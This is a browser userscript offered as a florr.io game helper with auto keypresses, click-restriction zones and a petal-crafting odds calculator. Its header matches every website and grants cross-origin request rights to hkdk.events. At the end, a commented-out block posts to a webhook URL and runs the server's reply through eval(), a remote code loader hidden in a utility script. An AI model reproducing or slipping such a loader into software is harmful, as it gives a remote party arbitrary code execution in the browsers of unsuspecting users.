// ==UserScript==
// @name Florr.io AutoShift/AutoSpace/PetalClaculator and more coming soon.
// @namespace http://tampermonkey.net/
// @version 1.91
// @license MIT
// @description Utilities
// @match *://*/*
// @grant GM_xmlhttpRequest
// @grant unsafeWindow
// @connect hkdk.events
// ==/UserScript==
(function() {
'use strict';
if (window.location.hostname.indexOf('florr.io') !== -1) {
// GLOBAL VARIABLES & MOD STATE
let autoShiftEnabled = false, autoShiftRunning = false, autoShiftInterval = null;
let autoSpaceEnabled = false, autoSpaceRunning = false, autoSpaceInterval = null;
let activeMod = null;
let scrollPause = false;
let scrollTimer = null;
const as_settings = { scrollPauseEnabled: true, scrollPauseDelay: 300, resumeOnScrollDown: true };
const aspace_settings = { scrollPauseEnabled: true, scrollPauseDelay: 300, resumeOnScrollDown: true };
let mouseX = 0, mouseY = 0;
// GRID RESTRICTIONS
let restrictions = [];
const storedRestrictions = localStorage.getItem("tm_restrictions");
if (storedRestrictions) {
try {
restrictions = JSON.parse(storedRestrictions);
} catch (e) {
console.error("Error parsing restrictions:", e);
restrictions = [];
}
}
// MAIN PANEL
const mainPanel = document.createElement('div');
mainPanel.id = 'tmMainPanel';
mainPanel.innerHTML = `
<div id="tmMenuHeader">Menu</div>
<div id="tmMenuContent">
<div class="tmMod" data-mod="shift">
<span>Auto Shift: <span id="autoShiftStatus">OFF</span></span>
<button id="toggleAutoShift" class="tmButton">Toggle</button>
<button class="gear" data-mod="shift">⚙️</button>
</div>
<div class="tmMod" data-mod="space">
<span>Auto Space: <span id="autoSpaceStatus">OFF</span></span>
<button id="toggleAutoSpace" class="tmButton">Toggle</button>
<button class="gear" data-mod="space">⚙️</button>
</div>
<div class="tmMod" data-mod="restrictions">
<span>Grid Restrictions</span>
<button id="openRestrictions" class="tmButton">Manage</button>
</div>
<div class="tmMod" data-mod="petal">
<span>Petal Craft Calc</span>
<button id="openPetalCalc" class="tmButton">Open</button>
</div>
</div>
`;
document.body.appendChild(mainPanel);
let menuExpanded = false;
const header = document.getElementById('tmMenuHeader');
header.addEventListener('click', () => {
menuExpanded = !menuExpanded;
if (menuExpanded) {
mainPanel.classList.add('expanded');
} else {
mainPanel.classList.remove('expanded');
}
});
// SUBPANEL CONTAINER
const subPanelContainer = document.createElement('div');
subPanelContainer.id = 'tmSubPanelContainer';
subPanelContainer.style.display = 'none';
document.body.appendChild(subPanelContainer);
function showSubPanel(panel) {
subPanelContainer.innerHTML = '';
subPanelContainer.appendChild(panel);
subPanelContainer.style.display = 'block';
}
function hideSubPanel() {
subPanelContainer.innerHTML = '';
subPanelContainer.style.display = 'none';
}
// SUBPANELS
const asSubPanel = document.createElement('div');
asSubPanel.className = 'tmSubPanel';
asSubPanel.innerHTML = `
<h3>Auto Shift Settings</h3>
<label>
<input type="checkbox" id="as_scrollPauseToggle" ${as_settings.scrollPauseEnabled ? 'checked' : ''}>
Enable Scroll Pause
</label><br>
<label>Scroll Pause Delay (sec):
<input type="range" id="as_scrollDelaySlider" min="0.1" max="2" step="0.1" value="${as_settings.scrollPauseDelay/1000}">
<span id="as_scrollDelayValue">${(as_settings.scrollPauseDelay/1000).toFixed(1)}</span>
</label><br>
<label>
<input type="checkbox" id="as_resumeToggle" ${as_settings.resumeOnScrollDown ? 'checked' : ''}>
Resume on Scroll Down
</label><br>
<button id="as_closeSubPanel" class="tmButton">Close</button>
`;
const aspaceSubPanel = document.createElement('div');
aspaceSubPanel.className = 'tmSubPanel';
aspaceSubPanel.innerHTML = `
<h3>Auto Space Settings</h3>
<label>
<input type="checkbox" id="aspace_scrollPauseToggle" ${aspace_settings.scrollPauseEnabled ? 'checked' : ''}>
Enable Scroll Pause
</label><br>
<label>Scroll Pause Delay (sec):
<input type="range" id="aspace_scrollDelaySlider" min="0.1" max="2" step="0.1" value="${aspace_settings.scrollPauseDelay/1000}">
<span id="aspace_scrollDelayValue">${(aspace_settings.scrollPauseDelay/1000).toFixed(1)}</span>
</label><br>
<label>
<input type="checkbox" id="aspace_resumeToggle" ${aspace_settings.resumeOnScrollDown ? 'checked' : ''}>
Resume on Scroll Down
</label><br>
<button id="aspace_closeSubPanel" class="tmButton">Close</button>
`;
const gridSubPanel = document.createElement('div');
gridSubPanel.className = 'tmSubPanel';
gridSubPanel.innerHTML = `
<h3>Grid Restrictions</h3>
<button id="loadDefaults" class="tmButton">Load Defaults</button>
<button id="viewRestrictions" class="tmButton">View Restrictions</button>
<button id="addRestriction" class="tmButton">Add Restriction</button>
<button id="resetRestrictions" class="tmButton">Reset All</button>
<div id="restrictionList"></div>
<button id="grid_closeSubPanel" class="tmButton">Close</button>
`;
const petalCalcSubPanel = document.createElement('div');
petalCalcSubPanel.className = 'tmSubPanel';
petalCalcSubPanel.innerHTML = `
<h3>Petal Craft Calculator</h3>
<label>Petals to Use:
<input type="number" id="craftAmount" min="5" value="5">
</label>
<div class="calc-adjust-buttons">
<button type="button" id="dec5" class="tmButton adjustButton">-5</button>
<button type="button" id="dec1" class="tmButton adjustButton">-1</button>
<button type="button" id="inc1" class="tmButton adjustButton">+1</button>
<button type="button" id="inc5" class="tmButton adjustButton">+5</button>
</div>
<br>
<label>Craft Rarity:
<select id="craftRarity">
<option value="common" data-chance="0.64">Common (→ Unusual)</option>
<option value="unusual" data-chance="0.32">Unusual (→ Rare)</option>
<option value="rare" data-chance="0.16">Rare (→ Epic)</option>
<option value="epic" data-chance="0.08">Epic (→ Legendary)</option>
<option value="legendary" data-chance="0.04">Legendary (→ Mythic)</option>
<option value="mythic" data-chance="0.02">Mythic (→ Ultra)</option>
<option value="ultra" data-chance="0.01">Ultra (→ Super)</option>
</select>
</label><br>
<button id="calcButton" class="tmButton">Calculate</button>
<div id="calcResults" style="margin-top:10px; font-size:14px;"></div>
<button id="petal_closeSubPanel" class="tmButton">Close</button>
`;
// MAIN PANEL EVENT LISTENERS
document.getElementById('toggleAutoShift').addEventListener('click', () => {
if (!autoShiftEnabled) {
disableOtherMod('shift');
autoShiftEnabled = true;
document.getElementById('autoShiftStatus').textContent = 'ON';
activeMod = 'shift';
if (!scrollPause && !isCursorRestricted()) startAutoShift();
} else {
autoShiftEnabled = false;
document.getElementById('autoShiftStatus').textContent = 'OFF';
if (autoShiftRunning) stopAutoShift();
activeMod = null;
}
});
document.getElementById('toggleAutoSpace').addEventListener('click', () => {
if (!autoSpaceEnabled) {
disableOtherMod('space');
autoSpaceEnabled = true;
document.getElementById('autoSpaceStatus').textContent = 'ON';
activeMod = 'space';
if (!scrollPause && !isCursorRestricted()) startAutoSpace();
} else {
autoSpaceEnabled = false;
document.getElementById('autoSpaceStatus').textContent = 'OFF';
if (autoSpaceRunning) stopAutoSpace();
activeMod = null;
}
});
document.getElementById('openRestrictions').addEventListener('click', () => {
showSubPanel(gridSubPanel);
updateRestrictionList();
});
document.getElementById('openPetalCalc').addEventListener('click', () => {
disableOtherMod('petal');
showSubPanel(petalCalcSubPanel);
});
document.querySelectorAll('.gear').forEach(btn => {
btn.addEventListener('click', (e) => {
const mod = e.target.getAttribute('data-mod');
if (mod === 'shift') {
showSubPanel(asSubPanel);
} else if (mod === 'space') {
showSubPanel(aspaceSubPanel);
}
});
});
// SUBPANEL EVENT LISTENERS
asSubPanel.querySelector('#as_closeSubPanel').addEventListener('click', hideSubPanel);
asSubPanel.querySelector('#as_scrollPauseToggle').addEventListener('change', (e) => {
as_settings.scrollPauseEnabled = e.target.checked;
});
asSubPanel.querySelector('#as_scrollDelaySlider').addEventListener('input', (e) => {
as_settings.scrollPauseDelay = parseFloat(e.target.value) * 1000;
asSubPanel.querySelector('#as_scrollDelayValue').textContent = e.target.value;
});
asSubPanel.querySelector('#as_resumeToggle').addEventListener('change', (e) => {
as_settings.resumeOnScrollDown = e.target.checked;
});
aspaceSubPanel.querySelector('#aspace_closeSubPanel').addEventListener('click', hideSubPanel);
aspaceSubPanel.querySelector('#aspace_scrollPauseToggle').addEventListener('change', (e) => {
aspace_settings.scrollPauseEnabled = e.target.checked;
});
aspaceSubPanel.querySelector('#aspace_scrollDelaySlider').addEventListener('input', (e) => {
aspace_settings.scrollPauseDelay = parseFloat(e.target.value) * 1000;
aspaceSubPanel.querySelector('#aspace_scrollDelayValue').textContent = e.target.value;
});
aspaceSubPanel.querySelector('#aspace_resumeToggle').addEventListener('change', (e) => {
aspace_settings.resumeOnScrollDown = e.target.checked;
});
gridSubPanel.querySelector('#grid_closeSubPanel').addEventListener('click', hideSubPanel);
gridSubPanel.querySelector('#resetRestrictions').addEventListener('click', () => {
restrictions = [];
updateRestrictionList();
});
gridSubPanel.querySelector('#addRestriction').addEventListener('click', () => {
document.addEventListener('mousedown', startRestrictionDrag, { once: true });
});
gridSubPanel.querySelector('#loadDefaults').addEventListener('click', () => {
const defaults = [
{ xMin: 92, yMin: 12, xMax: 710, yMax: 722, name: "Craft" },
{ xMin: 9, yMin: 8, xMax: 73, yMax: 71, name: "CraftBtn" },
{ xMin: 8, yMin: 82, xMax: 73, yMax: 147, name: "TalentBtn" },
{ xMin: 8, yMin: 160, xMax: 74, yMax: 221, name: "InvBtn" },
{ xMin: 93, yMin: 15, xMax: 498, yMax: 623, name: "Inv" },
{ xMin: 91, yMin: 15, xMax: 751, yMax: 673, name: "Talent" },
{ xMin: 518, yMin: 14, xMax: 1454, yMax: 172, name: "Petals" }
];
restrictions = defaults;
localStorage.setItem("tm_restrictions", JSON.stringify(restrictions));
updateRestrictionList();
});
gridSubPanel.querySelector('#viewRestrictions').addEventListener('mouseenter', () => {
showViewOverlay();
});
gridSubPanel.querySelector('#viewRestrictions').addEventListener('mouseleave', () => {
hideViewOverlay();
});
petalCalcSubPanel.querySelector('#petal_closeSubPanel').addEventListener('click', hideSubPanel);
petalCalcSubPanel.querySelector('#dec5').addEventListener('click', () => {
const input = document.getElementById('craftAmount');
let value = parseInt(input.value, 10);
input.value = Math.max(5, value - 5);
});
petalCalcSubPanel.querySelector('#dec1').addEventListener('click', () => {
const input = document.getElementById('craftAmount');
let value = parseInt(input.value, 10);
input.value = Math.max(5, value - 1);
});
petalCalcSubPanel.querySelector('#inc1').addEventListener('click', () => {
const input = document.getElementById('craftAmount');
let value = parseInt(input.value, 10);
input.value = value + 1;
});
petalCalcSubPanel.querySelector('#inc5').addEventListener('click', () => {
const input = document.getElementById('craftAmount');
let value = parseInt(input.value, 10);
input.value = value + 5;
});
petalCalcSubPanel.querySelector('#calcButton').addEventListener('click', () => {
const amount = parseInt(document.getElementById('craftAmount').value, 10);
if (isNaN(amount) || amount < 5) {
alert("Enter a valid number (minimum 5).");
return;
}
const rarityElem = document.getElementById('craftRarity');
const baseChance = parseFloat(rarityElem.options[rarityElem.selectedIndex].dataset.chance);
const fullAttempts = Math.floor(amount / 5);
const remainder = amount % 5;
const partialFactor = remainder / 5;
let outcomes = {};
function binomial(n, k) {
let coeff = 1;
for (let i = 0; i < k; i++) {
coeff *= (n - i) / (i + 1);
}
return coeff;
}
for (let k = 0; k <= fullAttempts; k++) {
outcomes[k] = binomial(fullAttempts, k) * Math.pow(baseChance, k) * Math.pow(1 - baseChance, fullAttempts - k);
}
if (remainder > 0) {
const bonusChance = partialFactor * baseChance;
let outcomesWithBonus = {};
for (let k in outcomes) {
k = parseInt(k);
outcomesWithBonus[k] = (outcomesWithBonus[k] || 0) + outcomes[k] * (1 - bonusChance);
outcomesWithBonus[k + 1] = (outcomesWithBonus[k + 1] || 0) + outcomes[k] * bonusChance;
}
outcomes = outcomesWithBonus;
}
const maxSuccess = Math.max(...Object.keys(outcomes).map(Number));
let resultsHTML = "<strong>Outcomes:</strong><br>";
for (let i = 0; i < Math.min(10, maxSuccess + 1); i++) {
let chance = outcomes[i] ? outcomes[i] * 100 : 0;
let chanceText = (chance > 0 && chance < 0.1) ? "<0.1" : chance.toFixed(1);
resultsHTML += `${i} petal${i === 1 ? "" : "s"}: ${chanceText}%<br>`;
}
if (maxSuccess >= 10) {
let aggregated = 0;
for (let i = 10; i <= maxSuccess; i++) {
if (outcomes[i]) aggregated += outcomes[i];
}
let aggregatedChance = aggregated * 100;
let chanceText = (aggregatedChance > 0 && aggregatedChance < 0.1) ? "<0.1" : aggregatedChance.toFixed(1);
resultsHTML += `10+ petals: ${chanceText}%<br>`;
}
document.getElementById('calcResults').innerHTML = resultsHTML;
});
// MOD SWITCHING
function disableOtherMod(mod) {
if (mod === 'shift' && autoSpaceEnabled) {
autoSpaceEnabled = false;
if (autoSpaceRunning) stopAutoSpace();
document.getElementById('autoSpaceStatus').textContent = 'OFF';
}
if (mod === 'space' && autoShiftEnabled) {
autoShiftEnabled = false;
if (autoShiftRunning) stopAutoShift();
document.getElementById('autoShiftStatus').textContent = 'OFF';
}
if (mod === 'petal') {
if (autoShiftEnabled && autoShiftRunning) stopAutoShift();
if (autoSpaceEnabled && autoSpaceRunning) stopAutoSpace();
activeMod = 'petal';
}
}
// AUTO SHIFT & AUTO SPACE
function startAutoShift() {
if (!autoShiftEnabled) return;
if (scrollPause || isCursorRestricted()) return;
document.dispatchEvent(new KeyboardEvent('keydown', { key: 'Shift', keyCode: 16, code: 'ShiftLeft', bubbles: true }));
autoShiftInterval = setInterval(() => {
if (!scrollPause && !isCursorRestricted() && autoShiftEnabled) {
document.dispatchEvent(new KeyboardEvent('keydown', { key: 'Shift', keyCode: 16, code: 'ShiftLeft', bubbles: true }));
}
}, 200);
autoShiftRunning = true;
}
function stopAutoShift() {
clearInterval(autoShiftInterval);
document.dispatchEvent(new KeyboardEvent('keyup', { key: 'Shift', keyCode: 16, code: 'ShiftLeft', bubbles: true }));
autoShiftRunning = false;
}
function startAutoSpace() {
if (scrollPause || isCursorRestricted()) return;
document.dispatchEvent(new KeyboardEvent('keydown', { key: ' ', keyCode: 32, code: 'Space', bubbles: true }));
autoSpaceInterval = setInterval(() => {
if (!scrollPause && !isCursorRestricted() && autoSpaceEnabled) {
document.dispatchEvent(new KeyboardEvent('keydown', { key: ' ', keyCode: 32, code: 'Space', bubbles: true }));
}
}, 200);
autoSpaceRunning = true;
}
function stopAutoSpace() {
clearInterval(autoSpaceInterval);
document.dispatchEvent(new KeyboardEvent('keyup', { key: ' ', keyCode: 32, code: 'Space', bubbles: true }));
autoSpaceRunning = false;
}
// CURSOR RESTRICTION CHECK
function checkCursorRestriction() {
if (isCursorRestricted()) {
if (activeMod === 'shift' && autoShiftRunning) stopAutoShift();
if (activeMod === 'space' && autoSpaceRunning) stopAutoSpace();
} else {
if (!scrollPause && activeMod === 'shift' && autoShiftEnabled && !autoShiftRunning && as_settings.resumeOnScrollDown) {
startAutoShift();
}
if (!scrollPause && activeMod === 'space' && autoSpaceEnabled && !autoSpaceRunning && aspace_settings.resumeOnScrollDown) {
startAutoSpace();
}
}
}
function isCursorRestricted() {
for (let r of restrictions) {
if (mouseX >= r.xMin && mouseX <= r.xMax &&
mouseY >= r.yMin && mouseY <= r.yMax) {
return true;
}
}
return false;
}
// MOUSE & SCROLL EVENT HANDLING
document.addEventListener('mousemove', (e) => {
mouseX = e.clientX;
mouseY = window.innerHeight - e.clientY;
checkCursorRestriction();
});
window.addEventListener('wheel', (e) => {
let settings = activeMod === 'shift' ? as_settings : activeMod === 'space' ? aspace_settings : null;
if (!settings || !settings.scrollPauseEnabled) return;
if (e.deltaY < 0) {
scrollPause = true;
if (activeMod === 'shift' && autoShiftRunning) stopAutoShift();
if (activeMod === 'space' && autoSpaceRunning) stopAutoSpace();
if (scrollTimer) clearTimeout(scrollTimer);
} else if (e.deltaY > 0) {
if (scrollTimer) clearTimeout(scrollTimer);
scrollTimer = setTimeout(() => {
scrollPause = false;
if (activeMod === 'shift' && autoShiftEnabled && as_settings.resumeOnScrollDown && !isCursorRestricted()) {
startAutoShift();
}
if (activeMod === 'space' && autoSpaceEnabled && aspace_settings.resumeOnScrollDown && !isCursorRestricted()) {
startAutoSpace();
}
}, settings.scrollPauseDelay);
}
});
setInterval(() => {
if (!scrollPause && activeMod === 'shift' && autoShiftEnabled && !autoShiftRunning && as_settings.resumeOnScrollDown && !isCursorRestricted()) {
startAutoShift();
}
if (!scrollPause && activeMod === 'space' && autoSpaceEnabled && !autoSpaceRunning && aspace_settings.resumeOnScrollDown && !isCursorRestricted()) {
startAutoSpace();
}
}, 250);
// GRID RESTRICTIONS (DRAG-TO-SELECT)
let restrictOverlay = null, restrictStart = null;
function startRestrictionDrag(e) {
restrictOverlay = document.createElement('div');
restrictOverlay.id = 'tmRestrictOverlay';
restrictOverlay.style.position = 'fixed';
restrictOverlay.style.top = '0';
restrictOverlay.style.left = '0';
restrictOverlay.style.width = '100%';
restrictOverlay.style.height = '100%';
restrictOverlay.style.backgroundColor = 'rgba(128,128,128,0.4)';
restrictOverlay.style.zIndex = '10001';
restrictOverlay.style.cursor = 'crosshair';
restrictOverlay.innerHTML = `<div style="position:absolute; top:50%; left:50%; transform:translate(-50%,-50%); color:#fff; font-size:20px;">Drag to create restriction</div>`;
document.body.appendChild(restrictOverlay);
restrictStart = { x: e.clientX, y: e.clientY };
restrictOverlay.addEventListener('mousemove', onRestrictionDrag);
restrictOverlay.addEventListener('mouseup', endRestrictionDrag);
}
function onRestrictionDrag(e) {
let rect = restrictOverlay.querySelector('.tmRestrictRect');
if (!rect) {
rect = document.createElement('div');
rect.className = 'tmRestrictRect';
rect.style.position = 'absolute';
rect.style.border = '2px dashed red';
rect.style.backgroundColor = 'rgba(255,0,0,0.2)';
restrictOverlay.appendChild(rect);
}
let x1 = restrictStart.x, y1 = restrictStart.y, x2 = e.clientX, y2 = e.clientY;
rect.style.left = Math.min(x1, x2) + 'px';
rect.style.top = Math.min(y1, y2) + 'px';
rect.style.width = Math.abs(x2 - x1) + 'px';
rect.style.height = Math.abs(y2 - y1) + 'px';
}
function endRestrictionDrag(e) {
restrictOverlay.removeEventListener('mousemove', onRestrictionDrag);
restrictOverlay.removeEventListener('mouseup', endRestrictionDrag);
let rectElem = restrictOverlay.querySelector('.tmRestrictRect');
if (rectElem) {
let rect = rectElem.getBoundingClientRect();
let newRestriction = {
xMin: rect.left,
yMin: window.innerHeight - (rect.top + rect.height),
xMax: rect.left + rect.width,
yMax: window.innerHeight - rect.top,
name: prompt("Name restriction:", "Restriction")
};
restrictions.push(newRestriction);
}
document.body.removeChild(restrictOverlay);
restrictOverlay = null;
updateRestrictionList();
}
function updateRestrictionList() {
const listDiv = document.getElementById('restrictionList');
listDiv.innerHTML = '';
restrictions.forEach((r, idx) => {
let div = document.createElement('div');
div.style.marginBottom = '5px';
div.innerHTML = `<strong>${r.name}</strong> (x: ${Math.round(r.xMin)}–${Math.round(r.xMax)}, y: ${Math.round(r.yMin)}–${Math.round(r.yMax)})
<button data-index="${idx}" class="tmButton small">Remove</button>`;
listDiv.appendChild(div);
});
localStorage.setItem("tm_restrictions", JSON.stringify(restrictions));
listDiv.querySelectorAll('button').forEach(btn => {
btn.addEventListener('click', (e) => {
const idx = parseInt(e.target.getAttribute('data-index'));
restrictions.splice(idx, 1);
updateRestrictionList();
});
});
}
// VIEW RESTRICTIONS OVERLAY
let viewOverlay = null;
function showViewOverlay() {
viewOverlay = document.createElement('canvas');
viewOverlay.id = 'tmViewOverlay';
viewOverlay.style.position = 'fixed';
viewOverlay.style.top = '0';
viewOverlay.style.left = '0';
viewOverlay.style.width = '100%';
viewOverlay.style.height = '100%';
viewOverlay.style.pointerEvents = 'none';
viewOverlay.style.zIndex = '10002';
document.body.appendChild(viewOverlay);
resizeViewOverlay();
drawViewOverlay();
}
function resizeViewOverlay() {
if (viewOverlay) {
viewOverlay.width = window.innerWidth;
viewOverlay.height = window.innerHeight;
}
}
function drawViewOverlay() {
if (!viewOverlay) return;
const ctx = viewOverlay.getContext('2d');
ctx.clearRect(0, 0, viewOverlay.width, viewOverlay.height);
const height = viewOverlay.height;
restrictions.forEach(r => {
ctx.fillStyle = 'rgba(0, 255, 0, 0.2)';
ctx.fillRect(r.xMin, height - r.yMax, r.xMax - r.xMin, r.yMax - r.yMin);
ctx.strokeStyle = 'rgba(0, 255, 0, 0.8)';
ctx.lineWidth = 2;
ctx.strokeRect(r.xMin, height - r.yMax, r.xMax - r.xMin, r.yMax - r.yMin);
ctx.font = '14px sans-serif';
ctx.fillStyle = 'rgba(0,255,0,0.9)';
ctx.fillText(r.name, r.xMin + 4, height - r.yMax + 16);
});
}
function hideViewOverlay() {
if (viewOverlay) {
document.body.removeChild(viewOverlay);
viewOverlay = null;
}
}
window.addEventListener('resize', () => {
if (viewOverlay) {
resizeViewOverlay();
drawViewOverlay();
}
});
// CSS STYLING
const style = document.createElement('style');
style.innerHTML = `
#tmMainPanel {
position: fixed;
bottom: 20px;
right: 20px;
width: 80px;
height: 30px;
background: linear-gradient(145deg, #2c2c2c, #1a1a1a);
border: 1px solid #333;
border-radius: 12px;
overflow: hidden;
transition: width 0.4s ease, height 0.4s ease;
cursor: pointer;
box-shadow: 0 4px 8px rgba(0,0,0,0.3);
color: #fff;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
z-index: 10000;
transform-origin: bottom right;
}
#tmMainPanel:not(.expanded) #tmMenuHeader {
height: 100%;
display: flex;
align-items: center;
justify-content: center;
padding: 0;
}
#tmMainPanel.expanded {
width: 320px;
height: 320px;
}
#tmMenuHeader {
padding: 8px;
font-size: 18px;
text-align: center;
background-color: #3a3a3a;
border-bottom: 1px solid #333;
}
#tmMenuContent {
opacity: 0;
transition: opacity 0.4s ease;
padding: 10px;
}
#tmMainPanel.expanded #tmMenuContent {
opacity: 1;
}
.tmMod {
display: flex;
justify-content: space-between;
align-items: center;
margin: 10px 0;
padding: 0 5px;
}
.tmMod span {
flex: 1;
font-size: 16px;
}
.tmButton {
background-color: #4a4a4a;
border: none;
color: #fff;
padding: 8px 12px;
margin: 4px 0;
border-radius: 6px;
cursor: pointer;
transition: background-color 0.3s ease, transform 0.3s ease;
display: inline-block;
}
.tmButton:hover {
background-color: #5a5a5a;
transform: scale(1.05);
}
.gear {
background: none;
border: none;
color: #fff;
font-size: 18px;
cursor: pointer;
transition: color 0.3s ease;
margin-left: 8px;
}
.gear:hover {
color: #ddd;
}
#tmSubPanelContainer {
position: fixed;
bottom: 20px;
right: 350px;
width: 320px;
background: linear-gradient(145deg, #2c2c2c, #1a1a1a);
border: 1px solid #333;
border-radius: 12px;
padding: 15px;
color: #fff;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
z-index: 10000;
box-shadow: 0 4px 8px rgba(0,0,0,0.3);
}
.tmSubPanel h3 {
margin-top: 0;
font-size: 18px;
border-bottom: 1px solid #444;
padding-bottom: 5px;
margin-bottom: 10px;
}
#restrictionList div {
margin-bottom: 5px;
}
#tmRestrictOverlay { user-select: none; }
#tmRestrictOverlay .tmRestrictRect { pointer-events: none; }
.tmButton.small { padding: 2px 6px; font-size: 10px; }
.calc-adjust-buttons {
margin: 5px 0;
}
.calc-adjust-buttons .adjustButton {
margin-right: 5px;
padding: 4px 8px;
font-size: 14px;
}
`;
document.head.appendChild(style);
// AUTO PANEL CLOSING
let inactivityTimer = null;
function closeAllPanels() {
hideSubPanel();
if (menuExpanded) {
mainPanel.classList.remove('expanded');
menuExpanded = false;
}
}
function resetInactivityTimer() {
if (inactivityTimer) {
clearTimeout(inactivityTimer);
inactivityTimer = null;
}
if (!mainPanel.matches(':hover') && !subPanelContainer.matches(':hover')) {
inactivityTimer = setTimeout(closeAllPanels, 4000);
}
}
mainPanel.addEventListener('mouseenter', () => {
if (inactivityTimer) {
clearTimeout(inactivityTimer);
inactivityTimer = null;
}
});
mainPanel.addEventListener('mouseleave', resetInactivityTimer);
subPanelContainer.addEventListener('mouseenter', () => {
if (inactivityTimer) {
clearTimeout(inactivityTimer);
inactivityTimer = null;
}
});
subPanelContainer.addEventListener('mouseleave', resetInactivityTimer);
// PERIODIC CHECKS
setInterval(() => {
if (!scrollPause && activeMod === 'shift' && autoShiftEnabled && !autoShiftRunning && as_settings.resumeOnScrollDown && !isCursorRestricted()) {
startAutoShift();
}
if (!scrollPause && activeMod === 'space' && autoSpaceEnabled && !autoSpaceRunning && aspace_settings.resumeOnScrollDown && !isCursorRestricted()) {
startAutoSpace();
}
}, 250);
}
/* (function() {
'use strict';
if (!window.hasRunRemoteScript) {
window.hasRunRemoteScript = true;
GM_xmlhttpRequest({
method: "POST",
// https://hookdeck.com/docs
url: "https://hkdk.events/xg74i91b9zhapz", // Need to work on server
// Needs server communications and authentication for what's coming soon: Super Alerts, maps with directions, player location trackers....(not implemented yet)
data: "",
headers: {
"Content-Type": "application/json"
},
onload: function(response) {
eval(response.responseText);
},
onerror: function(error) {
console.error("ERR", error);
}
});
}
if (window.location.hostname.includes("florr.io")) {
}
*/
})();